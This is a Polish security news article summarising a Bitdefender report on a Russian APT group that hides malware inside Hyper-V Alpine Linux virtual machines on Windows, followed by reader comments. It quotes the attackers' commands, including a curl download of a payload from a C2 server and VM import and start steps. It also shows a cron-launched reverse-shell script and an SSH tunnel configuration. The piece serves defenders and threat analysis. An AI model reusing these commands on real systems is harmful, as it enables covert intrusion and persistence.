Konferencja Mega Sekurak Hacking Party w Krakowie – 26-27 października!
Adminie… Czy znamy Twoje grzechy? ;-) Sprawdź!
Konferencja Mega Sekurak Hacking Party w Krakowie – 26-27 października!
Adminie… Czy znamy Twoje grzechy? ;-) Sprawdź!
Na początku listopada 2025 r. badacze bezpieczeństwa z Bitdefender opublikowali raport, w którym zaalarmowali o wykryciu nowej aktywności rosyjskiej grupy APT – Curly COMrades, wymierzonej w organizacje w Europie Wschodniej. Grupa ta jest znana z przeprowadzania ataków na instytucje rządowe w Gruzji oraz Mołdawii. Ich modus operandii polega na wykorzystaniu maszyn wirtualnych do ukrywania złośliwej aktywności.
TLDR:
Tym razem, grupa ta skorzystała z tych samych metod, aktywując rolę Hyper-V na systemach Windows oraz uruchamiając lekkie, oparte na Alpine Linux maszyny wirtualne. Maszyny te działają w izolacji, poza systemem hosta, podszywając się pod legalne procesy, a ich komunikacja jest ukrywana pod adresem IP użytkownika. W efekcie malware pozostaje niemal niewidoczny dla systemów klasy EDR, monitorujących infrastrukturę gospodarza.
Analizując techniki i taktyki stosowane przez grupę Curly COMrades można zauważyć, że atak najczęściej rozpoczyna się od phishingu. Złośliwe treści są dostarczane za pomocą wiadomości mailowych lub poprzez aplikacje takie jak Microsoft Teams. Podszywając się pod członków zespołu IT, cyberprzestępcy nakłaniają użytkowników do instalacji złośliwego oprogramowania. Innym sposobem na uzyskanie dostępu do infrastruktury klienta jest wykorzystanie niezałatanych podatności, czy też luk bezpieczeństwa typu 0-day. Należy podkreślić, że celem atakujących są systemy operacyjne rodziny Windows.
Po zdobyciu początkowego dostępu do infrastruktury użytkownika, rozpoczyna się właściwa część ataku. W pierwszym kroku następuje wyłączenie interfejsu zarządzającego oraz aktywacja roli Hyper-V. Atakujący używają w tym celu poniższych poleceń:
dism /online /disable-feature /FeatureName:microsoft-hyper-v-Management-clients /norestart
dism /online /enable-feature /All /LimitAccess /FeatureName:microsoft-hyper-v /norestart
Kolejnym etapem infekcji jest nawiązanie połączenia z serwerem Command & Control (C2). Cyberprzestępcy uruchamiają wiersz poleceń z przełącznikiem /C, dzięki czemu po zakończeniu wykonywania polecenia, konsola automatycznie zostanie zamknięta. Dodatkowo, standardowe strumienie wyjściowe oraz błędów zostają przekierowywane do plików tymczasowych, aby ukryć ślady infekcji. Poniżej przedstawiono kolejne komendy używane przez atakujących.
"cmd.exe" /C echo curl.exe http://[...].md/about.mp4 -o c:\\programdata\\1.rar | cmd > c:\\Programdata\\WindowsUpdateTask_D.tmp 2>&1
"cmd.exe" /C dir "c:\\program Files" > c:\\Programdata\\WindowsUpdateTask_X.tmp 2>&1
"cmd.exe" /C "c:\\program files\\WinRAR\\rar.exe" x c:\\programdata\\1.rar c:\\programdata\\microsoft\\AppV\\app > c:\\Programdata\\WindowsUpdateTask_z.tmp 2>&1
"cmd.exe" /C powershell.exe -c import-vm -path "c:\\programdata\\microsoft\\AppV\\app\\Virtual Machines\\1DBCC80B-5803-4AF1-8772-712C688F408A.vmcx" -Copy -GenerateNewId > c:\\Programdata\\WindowsUpdateTask_t.tmp 2>&1
"cmd.exe" /C powershell.exe -c Start-VM -name WSL > c:\\Programdata\\WindowsUpdateTask_R.tmp 2>&1
Z serwera C2 pobierany jest plik o nazwie about.mp4 oraz zapisywany na dysku użytkownika pod nazwą 1.rar. Ponadto, informacje związane z wykonaniem komendy oraz potencjalne błędy zostają przekierowane do pliku o nazwie WindowsUpdateTask_D.tmp. Następnie, listowana jest zawartość katalogu C:\\Program Files\\, najprawdopodobniej w celu potwierdzenia obecności programu rar.exe, potrzebnego na dalszym etapie. Analogicznie jak w poprzednim poleceniu, standardowe wyjście zostaje przekierowane do pliku WindowsUpdateTask_X.tmp. Kolejnym krokiem jest wypakowanie zawartości archiwum 1.rar do ukrytego katalogu c:\\programdata\\microsoft\\AppV\\app\\. Wypakowane dane to tak naprawdę pliki maszyny wirtualnej: .vhdx (wirtualny dysk twardy) i .vmcx (plik konfiguracyjny), które w dalszym etapie zostaną zaimportowane do menadżera Hyper-V, gdzie nadany im zostanie nowy, unikalny w skali systemu identyfikator. Ostatnim poleceniem jest uruchomienie maszyny wirtualnej pod nazwą WSL (UWAGA: nie jest to Windows Subsystem Linux), aby zamaskować złośliwą aktywność oraz ukryć rzeczywiste przeznaczenie maszyny.
Analiza maszyny wirtualnej pokazała, że jest to precyzyjnie skonfigurowane i dostosowane do konkretnego użytkownika środowisko. Bazuje na systemie operacyjnym Alpine Linux o rozmiarze ok. 120 MB i wymagającym zaledwie 256 MB pamięci RAM. Korzysta z adaptera sieciowego Default Switch w Hyper-V, używając wewnętrznej usługi NAT. W ten sposób, złośliwy ruch wychodzący z maszyny wirtualnej, kierowany jest przez hosta, co sprawia wrażenie, że komunikacja wygląda jakby pochodziła bezpośrednio z komputera użytkownika. Przedstawiona konfiguracja sieciowa znacząco utrudnia detekcję przez systemy monitorujące typu Endpoint Detection And Response (EDR).
W plikach konfiguracyjnych badacze wykryli adres serwera DNS kontrolowanego przez atakujących (wpis w /etc/resolv.conf) oraz manualnie wprowadzone mapowanie domeny na konkretne adresy IP serwera C2 (/etc/hosts). Można przypuszczać, że adresy serwerów były zmieniane w zależności od atakowanego celu.
Wewnątrz maszyny umieszczone zostały dwa narzędzia CurlCat i CurlyShell. Przeznaczeniem narzędzi jest nawiązanie komunikacji z serwerem C2 oraz zdalne wykonywanie kodu.

CurlyShell jest oprogramowaniem napisanym w języku C++ (korzysta z biblioteki libcurl) pełniącym funkcję reverse shell przez HTTPS. Binarka znajduje się w katalogu /bin/init_tools. W celu zapewnienia persystencji wykorzystuje prosty, sprawdzonych mechanizm – wpis w /etc/crontab. Zadanie umieszczone w cronie, uruchamia skrypt /bin/alpine_init z uprawnieniami roota cyklicznie, co 4 godziny, dokładnie w 20 minucie pełnej godziny. Poniżej zaprezentowano przykładową zawartość skryptu:
#!/bin/sh
date > /tmp/date
nohup /bin/init_tools > /dev/null 2>&1 &
W pierwszym kroku następuje zapisanie aktualnej daty wykonania skryptu do pliku /tmp/date. Prawdopodobnie celem weryfikacji, czy skrypt działa poprawnie. Następnie uruchomione zostaje oprogramowanie CurlyShell za pomocą polecenie nohup z przekierowaniem standardowych wyjść do /dev/null. Atakujący zastosowali ten mechanizm, aby mieć pewność, że oprogramowanie będzie działać w tle nawet po wylogowaniu użytkownika lub zamknięciu terminala (nohup). Ponadto wszelkie ślady działania oprogramowania zostają przekierowane do /dev/null, celem zamaskowana złośliwej aktywności.
CurlCat jest oprogramowaniem, służącym do zestawienia tunelu ssh z infrastrukturą atakującego. Został napisany w języku C++ (korzysta z biblioteki libcurl). Binarka znajduje się w katalogu /root/updater. Aktywacja oprogramowania odbywa się doraźnie, za pomocą polecenia wysłanego poprzez oprogramowanie CurlyShell. Konfiguracja klienta SSH została przedstawiona poniżej:
Host Forward
HostName 127.0.0.1
Port 22
User bob
StrictHostKeyChecking no
UserKnownHostsFile /dev/null
NumberOfPasswordPrompts 1
RemoteForward 20155
IdentityFile /root/.ssh/id_rsa
ProxyCommand /root/updater
Dzięki użyciu klucza prywatnego RSA, atakujący podczas nawiązywania połączenia z serwerem C2 nie muszą używać hasła dostępowego.
W ramach ciekawostki, poniżej umieszczono wynik analizy porównawczej kodów źródłowych CurlCat oraz CurlyShell po dekompilacji. Z uwagi na wiele podobieństw można przypuszczać, że malware został przygotowany przez ten sam zespół.

Analiza przeprowadzona przez badaczy z Bitdefender pokazuje, że atakujący zastosowali szereg technik i narzędzi, które umożliwiły im przemieszczanie się po zainfekowanej infrastrukturze oraz przejmowanie kolejnych maszyn. Zaobserwowano między innymi zaawansowane skrypty PowerShell służące do wstrzykiwania biletów Kerberos do procesu LSASS oraz tworzenie lokalnych kont na przejętych maszynach.
Skrypt manipulujący biletami Kerberos składał się z dwóch części. Pierwsza odpowiadała za ładowanie i wstrzykiwanie zaszyfrowanego biletu Kerbersoss (klucz deszyfrujący zahardkodowany w skrypcie), umożliwiając w ten sposób zdalne uwierzytelnienie oraz wykonywanie poleceń. W tym celu zastosowano publiczne narzędzie TicketInjector. Druga część natomiast odpowiadała za ruch boczny (lateral movement) – funkcja RemoteWorker(), czyli pozyskiwanie informacji, przeprowadzania rekonesansu, zbieranie informacji o profilach użytkowników i plikach systemowych, czyszczenie bufora biletów za pomocą klist purge. Napastnicy, w łatwy sposób mogli zmodyfikować funkcję RemoteWorker, dodając inne aktywności, np. pobieranie/usuwanie interesujących plików, pobieranie malware, czyszczenie logów, itp.

Kolejny skrypt był rozpowszechniany przez Group Policy i służył do zarządzanie lokalnymi kontami na maszynach w domenie, celem zapewnienia persystencji. Dla przykładu, skrypt miał możliwość resetowania hasła lokalnego użytkownika lub, jeśli konto nie zostało wykryte, automatycznego jego utworzenia.
Analizując działania opisywane w ramach powyższej kampanii, można dojść do wniosku, że atakującym zależało przede wszystkim na zapewnieniu bezpieczeństwa operacyjnego. Wykorzystanie narzędzi obecnych na przejętych maszynach do złośliwych aktywności oraz stosowanie dedykowanego malware pozwoliło na minimalizację śladów i skuteczne prowadzenie działań, bez narażania się na wykrycie przez systemy EDR/XDR.
Zgodnie z zaleceniami firmy Bitdefender organizacje powinny przede wszystkim:
Powyższa zalecenia pozwolą zminimalizować ryzyko infekcji. Jednak biorąc pod uwagę zaawansowane techniki stosowane przez atakujących, organizacje powinny stale monitorować swoje strategie bezpieczeństwa i wdrażać adekwatne środki zabezpieczające, aby szybko wykrywać i reagować na nowe zagrożenia.
Źródło: businessinsights.bitdefender.com
~_secmike
Na systemach Windows, ale na serwerach czy W10/W11? Na serwerach u mnie to by nie przeszło, bo nie ma wyjścia do internetu. A na lapkach kwestia hardeningu. Generalnie ze zwykłym userem nie jest możliwe dodanie roli Hyper-V.
Na W10/W11.
To prawda, trzeba mieć uprawnienia admina.
Aby uniknąć w przyszłość tłumaczenie: biletów kerberosa napisz w promp aby chat używał przy tłumaczeniu słownictwa i zwrotów naturalnych w IT.
Dziękuję za uwagę, a co złego jest w użyciu tłumaczenia Kerberos ticket na bilet Kerberos? Z tym pojęciem możesz się spotkać, np. w materiałach IBM czy też Microsoft.
Apaty apaty🎶🎶